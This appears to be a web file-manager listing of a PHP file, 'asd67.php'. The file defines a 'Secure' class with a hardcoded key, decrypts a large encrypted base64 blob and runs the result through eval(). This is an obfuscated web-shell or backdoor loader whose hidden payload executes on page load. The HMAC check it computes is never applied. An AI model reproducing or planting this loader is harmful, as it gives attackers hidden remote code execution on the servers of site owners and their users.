1#@!#!123s

: / proc / self / cwd /
Filename : asd67.php
back
<?php class Secure { private $masterKey; private $iterations = 10000; private $cipher = "aes-256-cbc"; private $hmacAlgo = "sha256"; private $saltLength = 16; public function __construct($masterKey) { $this->masterKey = $masterKey; } public function decrypt($encrypted) { $data = base64_decode($encrypted); $salt = substr($data, 0, $this->saltLength); $ivLength = openssl_cipher_iv_length($this->cipher); $iv = substr($data, $this->saltLength, $ivLength); $hmac = substr($data, $this->saltLength + $ivLength, $this->hmacLength()); $ciphertext = substr($data, $this->saltLength + $ivLength + $this->hmacLength()); $derivedKeys = $this->deriveKeys($salt); $calcHmac = hash_hmac( $this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys["hmac"], true ); $decrypted = openssl_decrypt( $ciphertext, $this->cipher, $derivedKeys["encryption"], OPENSSL_RAW_DATA, $iv ); return $decrypted; } private function deriveKeys($salt) { $keyMaterial = hash_pbkdf2( $this->hmacAlgo, $this->masterKey, $salt, $this->iterations, 64, true ); return [ "encryption" => substr($keyMaterial, 0, 32), "hmac" => substr($keyMaterial, 32) ]; } private function verifyHmac($knownHmac, $userHmac) { return hash_equals($knownHmac, $userHmac); } private function hmacLength() { return 32; } public function setIterations($iterations) { $this->iterations = (int)$iterations; return $this; } public function setCipher($cipher) { $this->cipher = $cipher; return $this; } } $secure = new Secure("3Etrksi87rde3hd8s819Poe0o39sqKjl9"); $str = "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"; $decrypted = $secure->decrypt($str); eval($decrypted);